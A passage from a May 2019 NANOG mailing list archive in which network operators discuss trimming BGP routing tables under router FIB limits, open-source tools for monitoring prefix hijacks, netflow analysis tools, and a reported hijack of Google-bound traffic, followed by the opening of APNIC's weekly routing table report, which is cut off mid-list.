> works great. > > This makes sure you use each provider’s “customer cone” and SLA to > the max while reducing your route load / churn. > > IMHO, you should only take full routes if your core business is > providing full bgp feeds to downstrean transit customers. > > > -- > Dan White > BTC Broadband > Network Admin Lead > Ph  918.366.0248 (direct)   main: (918)366-8000 > Fax 918.366.6610            email: dwhite at mybtc.com > > http://www.btcbroadband.com > > > -------------- next part -------------- An HTML attachment was scrubbed... URL: From matt at mattfreitag.com Thu May 16 14:39:26 2019 From: matt at mattfreitag.com (matt at mattfreitag.com) Date: Thu, 16 May 2019 09:39:26 -0500 Subject: Comcast Contact Message-ID: <20190516093926.Horde.GIigKmhfLHCc68xcXvnsZvZ@gator4060.hostgator.com> Hi all, I'm looking for a contact at Comcast, been having an issue in the Baltimore area for about three weeks and am getting stonewalled by front line support. Thank you for your time. Matt Freitag From drixter at e-utp.net Thu May 16 17:51:03 2019 From: drixter at e-utp.net (Marcin Gondek) Date: Thu, 16 May 2019 17:51:03 +0000 Subject: Cisco Crosswork Network Insights - or how to destroy a useful service In-Reply-To: <8483d47b-169c-590e-8bc5-2dd2821d5f84@ics.forth.gr> References: <76282344-a1b4-ae58-3361-1616cfc65e0e@efes.iucc.ac.il> <20190515101606.GO54046@hanna.meerval.net> <20190515175824.GC64519@dwc-laptop.dhcp.lbnl.us> <8483d47b-169c-590e-8bc5-2dd2821d5f84@ics.forth.gr> Message-ID: Hi, Maybe you should contact https://www.isolario.it/ for intergration? Thanks, -- Marcin Gondek / Drixter http://fido.e-utp.net/ AS56662 -----Original Message----- From: NANOG On Behalf Of Vasileios Kotronis Sent: Wednesday, May 15, 2019 10:27 PM To: Dale W. Carder Cc: nanog at nanog.org Subject: Re: Cisco Crosswork Network Insights - or how to destroy a useful service Hello, we would be happy to collaborate to deploy and extend the ARTEMIS open-source software tool for monitoring, detection and potential automated mitigation of prefix hijacks, available on GitHub at https://github.com/FORTH-ICS-INSPIRE/artemis . Current monitoring sources include RIS live, BGPStream (classic RV + RIS and beta BMP support) and ExaBGP APIs to local monitors. You are most welcome to check out the code and test, provide feedback and/or integrate with existing custom tools you might use. Best regards, Vasileios On 15/5/19 8:58 μ.μ., Dale W. Carder wrote: > Thus spake Job Snijders (job at ntt.net) on Wed, May 15, 2019 at 12:16:06PM +0200: >> I recognise the issue you describe, and I'd like to share with you >> that we're going down another road. Nowadays, RIPE NCC offers a >> streaming API ("RIS Live") which has the data needed to analyse and >> correlate BGP UPDATES seen in the wild to business rules you as operator define. >> >> NTT folks are working on https://github.com/nlnog/bgpalerter/ - which >> relies on "RIPE RIS Live", this software should become a competitive >> replacement to current BGP monitoring tools. Stay tuned, the software >> will be more useful in the course of the next few weeks. > Similarly, one can integrate CAIDA's BGPStream Broker Service[1] into > their own tools. Like bgpalerter above, working with open source or > rolling your own tools is increasingly straightforward[2] due to these > community projects. > > Another viable project to keep an eye on is ARTEMIS[3] for monitoring. > > Dale > > [1] https://bgpstream.caida.org/data > [2] https://github.com/dwcarder/bgpwatch > [3] https://www.inspire.edu.gr/artemis/ -- ======================================= Vasileios Kotronis Postdoctoral Researcher, member of the INSPIRE Group INSPIRE = INternet Security, Privacy, and Intelligence REsearch Telecommunications and Networks Lab (TNL) Foundation for Research and Technology - Hellas (FORTH) Leoforos Plastira 100, Heraklion 70013, Greece Tel: +302810391241 Office: G-060 e-mail : vkotronis at ics.forth.gr url: http://inspire.edu.gr ======================================= From nusenu-lists at riseup.net Thu May 16 21:42:00 2019 From: nusenu-lists at riseup.net (nusenu) Date: Thu, 16 May 2019 21:42:00 +0000 Subject: [proj-bgp] adding graphs for actually unreachable RPKI INVALID prefixes to RPKI Monitor? In-Reply-To: <3E33FB38-EEA8-4FCE-9F8C-710301A1D975@nist.gov> References: <3E33FB38-EEA8-4FCE-9F8C-710301A1D975@nist.gov> Message-ID: Montgomery, Douglas (Fed): > Our effort to get our new monitor transitioned to a public facing > system ran into a wall for ~35 days. Unfortunately during that time, > the visa of a visiting researcher leading that effort expired. > > We have almost recovered from all of that. Unfortunately, we have a > bit of a bureaucracy to deploying public facing systems. So I would > guess it will take ~end of March to get it on-line. I'm curious, are there any updates on this topic? thanks! nusenu -- https://twitter.com/nusenu_ https://mastodon.social/@nusenu -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 833 bytes Desc: OpenPGP digital signature URL: From matt at mattfreitag.com Fri May 17 02:25:44 2019 From: matt at mattfreitag.com (Matt Freitag) Date: Thu, 16 May 2019 22:25:44 -0400 Subject: Comcast Contact In-Reply-To: <20190516093926.Horde.GIigKmhfLHCc68xcXvnsZvZ@gator4060.hostgator.com> Message-ID: <72261def-29a9-4b2a-aa5d-a7a41328a53b@email.android.com> An HTML attachment was scrubbed... URL: From nanog-isp at mail.com Fri May 17 08:59:36 2019 From: nanog-isp at mail.com (Jared Brown) Date: Fri, 17 May 2019 10:59:36 +0200 Subject: BGP prefix filter list Message-ID: There are a few approaches to culling the routing table. You can do it either statically or dynamically, according to your needs. 1. Filtering based on upstream communities Slimming down the Internet routing table https://www.redpill-linpro.com/sysadvent/2016/12/09/slimming-routing-table.html 2. Filtering based on region BGP filter for North American routes http://gregsowell.com/?p=5505 Substitute prefixes for applicable region(s). Each region is about 200k prefixes. For more granularity use a geolocation service to select prefixes and/or ASNs. 3. Using flow information to install only top routes SDN Internet Router – Part 2 https://labs.spotify.com/2016/01/27/sdn-internet-router-part-2/ https://blog.ipspace.net/2015/01/sdn-router-spotify-on-software-gone-wild.html 4. Aggregate the routing table According to the weekly routing table report you can aggregate announcements to about half the number of prefixes. You need to roll your own software to preprocess the BGP feed. There are some tools out there, but I couldn't find a blog post about it with a quick search. If you have one, please share! Jared On 05/15/19 13:43 +0200, Baldur Norddahl wrote: >Hello > >This morning we apparently had a problem with our routers not handling >the full table. So I am looking into culling the least useful prefixes >from our tables. I can hardly be the first one to take on that kind of >project, and I am wondering if there is a ready made prefix list or >similar? > >Or maybe we have a list of worst offenders? I am looking for ASN that >announces a lot of unnecessary /24 prefixes and which happens to be >far away from us? I would filter those to something like /20 and then >just have a default route to catch all. > >Thanks, > >Baldur > From jk at ip-clear.de Fri May 17 09:17:30 2019 From: jk at ip-clear.de (=?utf-8?q?J=C3=B6rg?= Kost) Date: Fri, 17 May 2019 11:17:30 +0200 Subject: BGP prefix filter list In-Reply-To: References: Message-ID: Hi, I did this tool a few years ago to download and built ASN filter lists by region automatically: https://github.com/ipcjk/asnbuilder/releases The tricky part was to build regular expressions for devices, that don't understand number ranges. For some of our routers we (un)select ASNs manually by reading and comparing CIDR-reports to current Sflow traffic: E.g. https://github.com/ipcjk/asnbuilder/blob/master/customASN.txt will become https://github.com/ipcjk/asnbuilder/blob/master/saveTheFIB.txt Jörg On 17 May 2019, at 10:59, Jared Brown wrote: > There are a few approaches to culling the routing table. You can do it > either statically or dynamically, according to your needs. > > 1. Filtering based on upstream communities > > Slimming down the Internet routing table > https://www.redpill-linpro.com/sysadvent/2016/12/09/slimming-routing-table.html > > > 2. Filtering based on region > > BGP filter for North American routes > http://gregsowell.com/?p=5505 > > Substitute prefixes for applicable region(s). Each region is about > 200k prefixes. For more granularity use a geolocation service to > select prefixes and/or ASNs. > > > 3. Using flow information to install only top routes > > SDN Internet Router – Part 2 > https://labs.spotify.com/2016/01/27/sdn-internet-router-part-2/ > https://blog.ipspace.net/2015/01/sdn-router-spotify-on-software-gone-wild.html > > > 4. Aggregate the routing table > > According to the weekly routing table report you can aggregate > announcements to about half the number of prefixes. You need to roll > your own software to preprocess the BGP feed. There are some tools out > there, but I couldn't find a blog post about it with a quick search. > If you have one, please share! > > > > Jared > From nanog at radu-adrian.feurdean.net Fri May 17 10:10:18 2019 From: nanog at radu-adrian.feurdean.net (Radu-Adrian Feurdean) Date: Fri, 17 May 2019 12:10:18 +0200 Subject: BGP prefix filter list In-Reply-To: <276e2707-1a49-81df-e734-df37f848d722@ispn.net> References: <11053a83-b78c-6208-6145-98af7a6ecd64@gmail.com> <20190515135247.GD24647@zeno.bixbytelephone.com> <20190515142546.GE24647@zeno.bixbytelephone.com> <1659466603.3480.1557946364720.JavaMail.mhammett@ThunderFuck> <400065099.3557.1557947984364.JavaMail.mhammett@ThunderFuck> <276e2707-1a49-81df-e734-df37f848d722@ispn.net> Message-ID: On Thu, May 16, 2019, at 16:38, Blake Hudson wrote: > offloading that responsibility onto the transit provider. IMHO, what's > the point of being multi-homed if you can't make intelligent routing > decisions and provide routing redundancy in the case of a transit > provider outage? Speaking of "intelligent routing", this is why doing some targeting on what you filter by some criteria other than prefix or as-path length is a good idea. Either manually every once in a while (just make sure that you at least check the situation every few weeks), or in an automated manner (better). You just need more data (usually *flow/ipfix based) in order to be able to take the good decisions. You can use traffic levels (or better - lack of traffic), traffic criticality (?!?! cirticity ?!?!) and prefix count saving as criteria. -- R-A.F. From allenmckinleykitchen at gmail.com Fri May 17 13:24:37 2019 From: allenmckinleykitchen at gmail.com (Allen McKinley Kitchen (gmail)) Date: Fri, 17 May 2019 09:24:37 -0400 Subject: Any current comments on PacketViper? Message-ID: Users? Detractors? Off-list responses preferred. Will summarize if there’s an indication of interest. ..Allen Allen.McKinley.Kitchen at gmail.com Butler, PA From blake at ispn.net Fri May 17 13:26:44 2019 From: blake at ispn.net (Blake Hudson) Date: Fri, 17 May 2019 08:26:44 -0500 Subject: BGP prefix filter list In-Reply-To: References: <11053a83-b78c-6208-6145-98af7a6ecd64@gmail.com> <20190515135247.GD24647@zeno.bixbytelephone.com> <20190515142546.GE24647@zeno.bixbytelephone.com> <1659466603.3480.1557946364720.JavaMail.mhammett@ThunderFuck> <400065099.3557.1557947984364.JavaMail.mhammett@ThunderFuck> <276e2707-1a49-81df-e734-df37f848d722@ispn.net> Message-ID: <0516d458-195f-bfd5-f6f8-e227243c27ee@ispn.net> Radu-Adrian Feurdean wrote on 5/17/2019 5:10 AM: > On Thu, May 16, 2019, at 16:38, Blake Hudson wrote: >> offloading that responsibility onto the transit provider. IMHO, what's >> the point of being multi-homed if you can't make intelligent routing >> decisions and provide routing redundancy in the case of a transit >> provider outage? > Speaking of "intelligent routing", this is why doing some targeting on what you filter by some criteria other than prefix or as-path length is a good idea. Either manually every once in a while (just make sure that you at least check the situation every few weeks), or in an automated manner (better). You just need more data (usually *flow/ipfix based) in order to be able to take the good decisions. > > You can use traffic levels (or better - lack of traffic), traffic criticality (?!?! cirticity ?!?!) and prefix count saving as criteria. > > -- > R-A.F. From my perspective one's ability to intelligently route IP traffic is directly correlated to the data they have available (their routing protocol and table). For example, with static default routes one can only make the simplest of routing decisions; with dynamic default routes one can make more informed decisions; with a partial view of the internet one can make even better decisions; with a full view of the internet one can make good decisions; and with a routing protocol that takes into account bandwidth, latency, loss, or other metrics one can make the very best decisions. Determining how intelligent one wants his or her decisions to be, and how much he or she is willing to spend to get there, is an exercise for the reader. Not all routers need a full view of the internet, but some do. The cost of routers that hold a full routing table in FIB is generally more than those that do not, but overall is not cost prohibitive (in my opinion) for the folks that are already paying to be multihomed. Single homed networks (or those with a single transit provider and additional peers), probably won't benefit from holding more than a default route to their transit provider and therefore may be able to get by with a less capable router. Each network is different and the choices driven by the needs for redundancy, availability, performance, and cost will come out differently as well. From nuclearcat at nuclearcat.com Fri May 17 13:45:04 2019 From: nuclearcat at nuclearcat.com (Denys Fedoryshchenko) Date: Fri, 17 May 2019 16:45:04 +0300 Subject: BGP prefix filter list / BGP hijacks, different type In-Reply-To: <0516d458-195f-bfd5-f6f8-e227243c27ee@ispn.net> References: <11053a83-b78c-6208-6145-98af7a6ecd64@gmail.com> <20190515135247.GD24647@zeno.bixbytelephone.com> <20190515142546.GE24647@zeno.bixbytelephone.com> <1659466603.3480.1557946364720.JavaMail.mhammett@ThunderFuck> <400065099.3557.1557947984364.JavaMail.mhammett@ThunderFuck> <276e2707-1a49-81df-e734-df37f848d722@ispn.net> <0516d458-195f-bfd5-f6f8-e227243c27ee@ispn.net> Message-ID: <6e1c401ca93850b8fc00123e22ed11e7@nuclearcat.com> I wanted to mention one additional important point in all these monitoring discussion. Right now, for one of my subnets Google services stopped working. Why? Because it seems like someone from Russia did BGP hijack, BUT, exclusively for google services (most likely some kind of peering). Quite by chance, I noticed that the traceroute from the google cloud to this subnet goes through Russia, although my country has nothing to do with Russia at all, not even transit traffic through them. Sure i mailed noc at google, but reaching someone in big companies is not easiest job, you need to search for some contact that answers. And good luck for realtime communications. And, all large CDNs have their own "internet", although they have BGP, they often interpret it in their own way, which no one but them can monitor and keep history. No looking glass for sure, as well. If your network is announced by a malicious party from another country, you will not even know about it, but your requests(actually answers from service) will go through this party. From nanog at radu-adrian.feurdean.net Fri May 17 14:15:34 2019 From: nanog at radu-adrian.feurdean.net (Radu-Adrian Feurdean) Date: Fri, 17 May 2019 16:15:34 +0200 Subject: BGP prefix filter list In-Reply-To: <0516d458-195f-bfd5-f6f8-e227243c27ee@ispn.net> References: <11053a83-b78c-6208-6145-98af7a6ecd64@gmail.com> <20190515135247.GD24647@zeno.bixbytelephone.com> <20190515142546.GE24647@zeno.bixbytelephone.com> <1659466603.3480.1557946364720.JavaMail.mhammett@ThunderFuck> <400065099.3557.1557947984364.JavaMail.mhammett@ThunderFuck> <276e2707-1a49-81df-e734-df37f848d722@ispn.net> <0516d458-195f-bfd5-f6f8-e227243c27ee@ispn.net> Message-ID: <286291ac-a658-4047-ae11-9ee2c0efbfee@www.fastmail.com> On Fri, May 17, 2019, at 15:28, Blake Hudson wrote: > From my perspective one's ability to intelligently route IP traffic is > directly correlated to the data they have available (their routing > protocol and table). For example, with static default routes one can For me, routing table and available routing protocols are not the only things needed for intelligent routing. And the router is not the only component involved in "intelligent routing". Not these days/not anymore. One thing that can help immensely in an internet environment is knowing where the data goes and where it comes from. Knowing your "important" traffic source/destinations is part of it. You can say "I can no longer keep all the routes in FIB, so I'll drop the /24s", then come to a conclusion that that you have loads of traffic towards an anycast node located in a /24 or that you exchange voice with a VoIP provider that announces /24. you just lost the ability to do something proper with your important destination. On the other hand, you may easily leave via default (in extreme cases even drop) traffic to several /16s from Mulgazanzar Telecom which which you barely exchange a few packets per day except the quarterly wave of DDoS/spam/scans/[name your favorite abuse]. Or you may just drop a few hundred more-specific routes for a destination that you do care about, but you cannot do much because network-wise it is too far away. Of course, such an approach involves human intervention, either for selecting the important and non-important destinations or for writing the code that does it automagically. Or both. There is no magic potion. (as a friday afternoon remark, there used to be such a potion in France, the "green powder", but they permanently ran out of stock in 2004 - see http://poudreverte.org/ - site in fr_FR). From dmburgess at linktechs.net Fri May 17 14:26:35 2019 From: dmburgess at linktechs.net (Dennis Burgess) Date: Fri, 17 May 2019 14:26:35 +0000 Subject: Free Program to take netflow Message-ID: I am looking for a free program to take netflow and output what the top traffic ASes to and from my AS are. Something that we can look at every once in a while, and/or spin up and get data then shutdown.. Just have two ports need netflow from currently. Thanks in advance. [LTI-Full_175px] Dennis Burgess, Mikrotik Certified Trainer Author of "Learn RouterOS- Second Edition" Link Technologies, Inc -- Mikrotik & WISP Support Services Office: 314-735-0270 Website: http://www.linktechs.net Create Wireless Coverage's with www.towercoverage.com -------------- next part -------------- An HTML attachment was scrubbed... URL: From morrowc.lists at gmail.com Fri May 17 14:27:37 2019 From: morrowc.lists at gmail.com (Christopher Morrow) Date: Fri, 17 May 2019 10:27:37 -0400 Subject: BGP prefix filter list / BGP hijacks, different type In-Reply-To: <6e1c401ca93850b8fc00123e22ed11e7@nuclearcat.com> References: <11053a83-b78c-6208-6145-98af7a6ecd64@gmail.com> <20190515135247.GD24647@zeno.bixbytelephone.com> <20190515142546.GE24647@zeno.bixbytelephone.com> <1659466603.3480.1557946364720.JavaMail.mhammett@ThunderFuck> <400065099.3557.1557947984364.JavaMail.mhammett@ThunderFuck> <276e2707-1a49-81df-e734-df37f848d722@ispn.net> <0516d458-195f-bfd5-f6f8-e227243c27ee@ispn.net> <6e1c401ca93850b8fc00123e22ed11e7@nuclearcat.com> Message-ID: Did this get resolved? if not please email me directly. On Fri, May 17, 2019 at 9:46 AM Denys Fedoryshchenko wrote: > > I wanted to mention one additional important point in all these > monitoring discussion. > Right now, for one of my subnets Google services stopped working. > Why? Because it seems like someone from Russia did BGP hijack, BUT, > exclusively for google services (most likely some kind of peering). > Quite by chance, I noticed that the traceroute from the google cloud to > this subnet goes through Russia, although my country has nothing to do > with Russia at all, not even transit traffic through them. > Sure i mailed noc at google, but reaching someone in big companies is not > easiest job, you need to search for some contact that answers. And good > luck for realtime communications. > And, all large CDNs have their own "internet", although they have BGP, > they often interpret it in their own way, which no one but them can > monitor and keep history. No looking glass for sure, as well. > If your network is announced by a malicious party from another country, > you will not even know about it, but your requests(actually answers from > service) will go through this party. From nuclearcat at nuclearcat.com Fri May 17 14:43:44 2019 From: nuclearcat at nuclearcat.com (Denys Fedoryshchenko) Date: Fri, 17 May 2019 17:43:44 +0300 Subject: Free Program to take netflow In-Reply-To: References: Message-ID: <0ddeb539d5b95e6665b66fc01215023a@nuclearcat.com> Fastnetmon have that: https://fastnetmon.com/fastnetmon-advanced-traffic-persistency/ I used it for such purposes. On 2019-05-17 17:26, Dennis Burgess via NANOG wrote: > I am looking for a free program to take netflow and output what the > top traffic ASes to and from my AS are. Something that we can look > at every once in a while, and/or spin up and get data then shutdown.. > Just have two ports need netflow from currently. > > Thanks in advance. > > DENNIS BURGESS, MIKROTIK CERTIFIED TRAINER > > Author of "Learn RouterOS- Second Edition" > > LINK TECHNOLOGIES, INC -- Mikrotik & WISP Support Services > > OFFICE: 314-735-0270 Website: http://www.linktechs.net [1] > > Create Wireless Coverage's with www.towercoverage.com [2] > > > > Links: > ------ > [1] http://www.linktechs.net/ > [2] http://germany.nuclearcat.com/www.towercoverage.com From blake at ispn.net Fri May 17 15:03:20 2019 From: blake at ispn.net (Blake Hudson) Date: Fri, 17 May 2019 10:03:20 -0500 Subject: BGP prefix filter list In-Reply-To: <286291ac-a658-4047-ae11-9ee2c0efbfee@www.fastmail.com> References: <11053a83-b78c-6208-6145-98af7a6ecd64@gmail.com> <20190515135247.GD24647@zeno.bixbytelephone.com> <20190515142546.GE24647@zeno.bixbytelephone.com> <1659466603.3480.1557946364720.JavaMail.mhammett@ThunderFuck> <400065099.3557.1557947984364.JavaMail.mhammett@ThunderFuck> <276e2707-1a49-81df-e734-df37f848d722@ispn.net> <0516d458-195f-bfd5-f6f8-e227243c27ee@ispn.net> <286291ac-a658-4047-ae11-9ee2c0efbfee@www.fastmail.com> Message-ID: <8e538777-2b72-0a57-0b50-ab16f117acc1@ispn.net> Radu-Adrian Feurdean wrote on 5/17/2019 9:15 AM: > On Fri, May 17, 2019, at 15:28, Blake Hudson wrote: > >> From my perspective one's ability to intelligently route IP traffic is >> directly correlated to the data they have available (their routing >> protocol and table). For example, with static default routes one can > For me, routing table and available routing protocols are not the only things needed for intelligent routing. And the router is not the only component involved in "intelligent routing". Not these days/not anymore. > > One thing that can help immensely in an internet environment is knowing where the data goes and where it comes from. Knowing your "important" traffic source/destinations is part of it. > > You can say "I can no longer keep all the routes in FIB, so I'll drop the /24s", then come to a conclusion that that you have loads of traffic towards an anycast node located in a /24 or that you exchange voice with a VoIP provider that announces /24. you just lost the ability to do something proper with your important destination. On the other hand, you may easily leave via default (in extreme cases even drop) traffic to several /16s from Mulgazanzar Telecom which which you barely exchange a few packets per day except the quarterly wave of DDoS/spam/scans/[name your favorite abuse]. Or you may just drop a few hundred more-specific routes for a destination that you do care about, but you cannot do much because network-wise it is too far away. > > Of course, such an approach involves human intervention, either for selecting the important and non-important destinations or for writing the code that does it automagically. Or both. There is no magic potion. (as a friday afternoon remark, there used to be such a potion in France, the "green powder", but they permanently ran out of stock in 2004 - see http://poudreverte.org/ - site in fr_FR). > Radu, you're absolutely correct that BGP does not include the metrics often needed to make the best routing decisions. I mentioned metrics like bandwidth, delay, and loss (which some other routing protocols do consider); and you mentioned metrics like importance (I assume for business continuity or happy eyeballs) or the amount or frequency of data exchanged with a given remote AS/IP network. BGP addresses some problems (namely routing redundancy), but it has some intentional shortcomings when choosing the cheapest path, best performing path, or load balancing (not to mention its security shortcomings). Some folks choose to improve upon BGP by using BGP "optimizers", manual local pref adjustments, or similar configurations. And as this discussion has shown, other folks choose to introduce their own additional shortcomings by ignoring part of what BGP does have to offer. Perhaps in the future we will be able to agree on a replacement to (or improvements upon) BGP that addresses some of these shortcomings; we may also find that technology solves the limitations that currently force some folks to discard potentially valuable routing information. From karsten.elfenbein at gmail.com Fri May 17 15:46:15 2019 From: karsten.elfenbein at gmail.com (Karsten Elfenbein) Date: Fri, 17 May 2019 17:46:15 +0200 Subject: BGP prefix filter list In-Reply-To: References: <11053a83-b78c-6208-6145-98af7a6ecd64@gmail.com> <759132239.3117.1557928557613.JavaMail.mhammett@ThunderFuck> Message-ID: Can you check the actual FIB usage? With 2m IPv4 divided into v4 and v6 * Fast ReRoute could hit the limit. Baldur Norddahl schrieb am Mi., 15. Mai 2019, 20:24: > Hello > > On Wed, May 15, 2019 at 3:56 PM Mike Hammett wrote: > >> What is the most common platform people are using with such limitations? >> How long ago was it deprecated? >> >> >> > We are a small network with approx 10k customers and two core routers. The > routers are advertised as 2 million FIB and 10 million RIB. > > This morning at about 2 AM CET our iBGP session between the two core > routers started flapping every 5 minutes. This is how long it takes to > exchange the full table between the routers. The eBGP sessions to our > transits were stable and never went down. > > The iBGP session is a MPLS multiprotocol BGP session that exhanges IPv4, > IPv6 and VRF in a single session. > > We are working closely together with another ISP that have the same > routers. His network went down as well. > > Nothing would help until I culled the majority of the IPv6 routes by > installing a default IPv6 route together with a filter, that drops every > IPv6 route received on our transits. After that I could not make any more > experimentation. Need to have a maintenance window during the night. > > These routers have shared IPv4 and IPv6 memory space. My theory is that > the combined prefix numbers is causing the problem. But it could also be > some IPv6 prefix first seen this night, that triggers a bug. Or something > else. > > Regards, > > Baldur > > > -------------- next part -------------- An HTML attachment was scrubbed... URL: From niels=nanog at bakker.net Fri May 17 16:00:20 2019 From: niels=nanog at bakker.net (Niels Bakker) Date: Fri, 17 May 2019 18:00:20 +0200 Subject: Free Program to take netflow In-Reply-To: References: Message-ID: <20190517160020.GE88473@jima.tpb.net> * nanog at nanog.org (Dennis Burgess via NANOG) [Fri 17 May 2019, 16:25 CEST]: >I am looking for a free program to take netflow and output what the >top traffic ASes to and from my AS are. Something that we can look >at every once in a while, and/or spin up and get data then >shutdown.. Just have two ports need netflow from currently. It sounds like https://blog.apnic.net/2017/01/26/traffic-analysis-better-peering/ would be right up your alley. -- Niels. From baldur.norddahl at gmail.com Fri May 17 16:05:15 2019 From: baldur.norddahl at gmail.com (Baldur Norddahl) Date: Fri, 17 May 2019 18:05:15 +0200 Subject: BGP prefix filter list In-Reply-To: <0516d458-195f-bfd5-f6f8-e227243c27ee@ispn.net> References: <11053a83-b78c-6208-6145-98af7a6ecd64@gmail.com> <20190515135247.GD24647@zeno.bixbytelephone.com> <20190515142546.GE24647@zeno.bixbytelephone.com> <1659466603.3480.1557946364720.JavaMail.mhammett@ThunderFuck> <400065099.3557.1557947984364.JavaMail.mhammett@ThunderFuck> <276e2707-1a49-81df-e734-df37f848d722@ispn.net> <0516d458-195f-bfd5-f6f8-e227243c27ee@ispn.net> Message-ID: On Fri, May 17, 2019 at 3:28 PM Blake Hudson wrote: > From my perspective one's ability to intelligently route IP traffic is > directly correlated to the data they have available (their routing > protocol and table) > One point perhaps being missed by some is that routing decisions are not always best made in the very last moment when you have a packet and need to decide on the destination. The culling of routing table I wanted to do is on a full feed from my upstream providers. I am not taking a default, but I may add a default manually. Think about this way to save at least half the size of the FIB with two transit providers: Find out which provider has the most prefixes going their way. Make a default to them and a route-map that drops every route. For the other provider, keep only the routes where they have better routing. This way you only use FIB space for the smaller provider. Everything else goes by default through the larger provider. Now doing that in practice is hard because router vendors did generally not make route-map or similar constructs flexible enough for the needed logic. But we can do other things, some of which have already been proposed in this thread. Like before have a default to the "best" of your transit providers and using culling to drop routes. Are we not all doing something like that already, with route maps to give some routes higher priority instead of always going strict shortest AS-path? Only difference is that you can fully drop the routes from FIB if you install defaults to handle it instead. Or what if I know that one of my transit providers are really good with Asia? I just want traffic to Asia by default go to them. I can install my own covering routes from the APNIC address space and then save a ton of FIB space by dropping routes within that space. I can have exceptions if needed. The above does not give you poorer routing decisions and may give you better. Regards, Baldur -------------- next part -------------- An HTML attachment was scrubbed... URL: From cscora at apnic.net Fri May 17 18:02:38 2019 From: cscora at apnic.net (Routing Analysis Role Account) Date: Sat, 18 May 2019 04:02:38 +1000 (AEST) Subject: Weekly Routing Table Report Message-ID: <20190517180238.B6D46C44A1@thyme.apnic.net> This is an automated weekly mailing describing the state of the Internet Routing Table as seen from APNIC's router in Japan. The posting is sent to APOPS, NANOG, AfNOG, SANOG, PacNOG, SAFNOG TZNOG, MENOG, BJNOG, SDNOG, CMNOG, LACNOG and the RIPE Routing WG. Daily listings are sent to bgp-stats at lists.apnic.net For historical data, please see http://thyme.rand.apnic.net. If you have any comments please contact Philip Smith . Routing Table Report 04:00 +10GMT Sat 18 May, 2019 Report Website: http://thyme.rand.apnic.net Detailed Analysis: http://thyme.rand.apnic.net/current/ Analysis Summary ---------------- BGP routing table entries examined: 754540 Prefixes after maximum aggregation (per Origin AS): 289575 Deaggregation factor: 2.61 Unique aggregates announced (without unneeded subnets): 360661 Total ASes present in the Internet Routing Table: 64226 Prefixes per ASN: 11.75 Origin-only ASes present in the Internet Routing Table: 55252 Origin ASes announcing only one prefix: 23799 Transit ASes present in the Internet Routing Table: 8974 Transit-only ASes present in the Internet Routing Table: 266 Average AS path length visible in the Internet Routing Table: 4.4 Max AS path length visible: 34 Max AS path prepend of ASN ( 8697) 27 Prefixes from unregistered ASNs in the Routing Table: 26 Number of instances of unregistered ASNs: 30 Number of 32-bit ASNs allocated by the RIRs: 27012 Number of 32-bit ASNs visible in the Routing Table: 22035 Prefixes from 32-bit ASNs in the Routing Table: 98302 Number of bogon 32-bit ASNs visible in the Routing Table: 23 Special use prefixes present in the Routing Table: 0 Prefixes being announced from unallocated address space: 243 Number of addresses announced to Internet: 2850395904 Equivalent to 169 /8s, 229 /16s and 151 /24s Percentage of available address space announced: 77.0 Percentage of allocated address space announced: 77.0 Percentage of available address space allocated: 100.0 Percentage of address space in use by end-sites: 99.2 Total number of prefixes smaller than registry allocations: 252512 APNIC Region Analysis Summary ----------------------------- Prefixes being announced by APNIC Region ASes: 203617 Total APNIC prefixes after maximum aggregation: 60182 APNIC Deaggregation factor: 3.38 Prefixes being announced from the APNIC address blocks: 199801 Unique aggregates announced from the APNIC address blocks: 82445 APNIC Region origin ASes present in the Internet Routing Table: 9758 APNIC Prefixes per ASN: 20.48 APNIC Region origin ASes announcing only one prefix: 2719 APNIC Region transit ASes present in the Internet Routing Table: 1455 Average APNIC Region AS path length visible: 4.5 Max APNIC Region AS path length visible: 26 Number of APNIC region 32-bit ASNs visible in the Routing Table: 4745 Number of APNIC addresses announced to Internet: 773674496 Equivalent to 46 /8s, 29 /16s and 86 /24s APNIC AS Blocks 4608-4864, 7467-7722, 9216-10239, 17408-18431 (pre-ERX allocations) 23552-24575, 37888-38911, 45056-46079, 55296-56319, 58368-59391, 63488-64098, 64297-64395, 131072-139577 APNIC Address Blocks 1/8, 14/8, 27/8, 36/8, 39/8, 42/8, 43/8, 49/8, 58/8, 59/8, 60/8, 61/8, 101/8, 103/8, 106/8, 110/8, 111/8, 112/8, 113/8, 114/8, 115/8, 116/8, 117/8, 118/8, 119/8, 120/8, 121/8, 122/8, 123/8, 124/8, 125/8, 126/8, 133/8, 150/8, 153/8, 163/8, 171/8, 175/8, 180/8, 182/8, 183/8, 202/8, 203/8, 210/8, 211/8, 218/8, 219/8, 220/8, 221/8, 222/8, 223/8, ARIN Region Analysis Summary ---------------------------- Prefixes being announced by ARIN Region ASes: 225014 Total ARIN prefixes after maximum aggregation: 104849 ARIN Deaggregation factor: 2.15 Prefixes being announced from the ARIN address blocks: 224054 Unique aggregates announced from the ARIN address blocks: 105452 ARIN Region origin ASes present in the Internet Routing Table: 18470 ARIN Prefixes per ASN: 12.13 ARIN Region origin ASes announcing only one prefix: 6858 ARIN Region transit ASes present in the Internet Routing Table: 1891 Average ARIN Region AS path length visible: 3.9 Max ARIN Region AS path length visible: 24 Number of ARIN region 32-bit ASNs visible in the Routing Table: 2701 Number of ARIN addresses announced to Internet: 1077818496 Equivalent to 64 /8s, 62 /16s and 52 /24s ARIN AS Blocks 1-1876, 1902-2042, 2044-2046, 2048-2106 (pre-ERX allocations) 2138-2584, 2615-2772, 2823-2829, 2880-3153 3354-4607, 4865-5119, 5632-6655, 6912-7466 7723-8191, 10240-12287, 13312-15359, 16384-17407 18432-20479, 21504-23551, 25600-26591, 26624-27647, 29696-30719, 31744-33791 35840-36863, 39936-40959, 46080-47103 53248-55295, 62464-63487, 64198-64296, 393216-399260 ARIN Address Blocks 3/8, 4/8, 6/8, 7/8, 8/8, 9/8, 11/8, 12/8, 13/8, 15/8, 16/8, 17/8, 18/8, 19/8, 20/8, 21/8, 22/8, 23/8, 24/8, 26/8, 28/8, 29/8, 30/8, 32/8, 33/8, 34/8, 35/8, 38/8, 40/8, 44/8, 47/8, 48/8, 50/8, 52/8, 53/8, 54/8, 55/8, 56/8, 57/8, 63/8, 64/8, 65/8, 66/8, 67/8, 68/8, 69/8, 70/8, 71/8, 72/8, 73/8, 74/8, 75/8, 76/8, 96/8, 97/8, 98/8, 99/8, 100/8, 104/8, 107/8, 108/8, 128/8, 129/8, 130/8, 131/8, 132/8, 134/8, 135/8, 136/8, 137/8, 138/8, 139/8, 140/8, 142/8, 143/8, 144/8, 146/8, 147/8, 148/8, 149/8, 152/8, 155/8, 156/8, 157/8, 158/8, 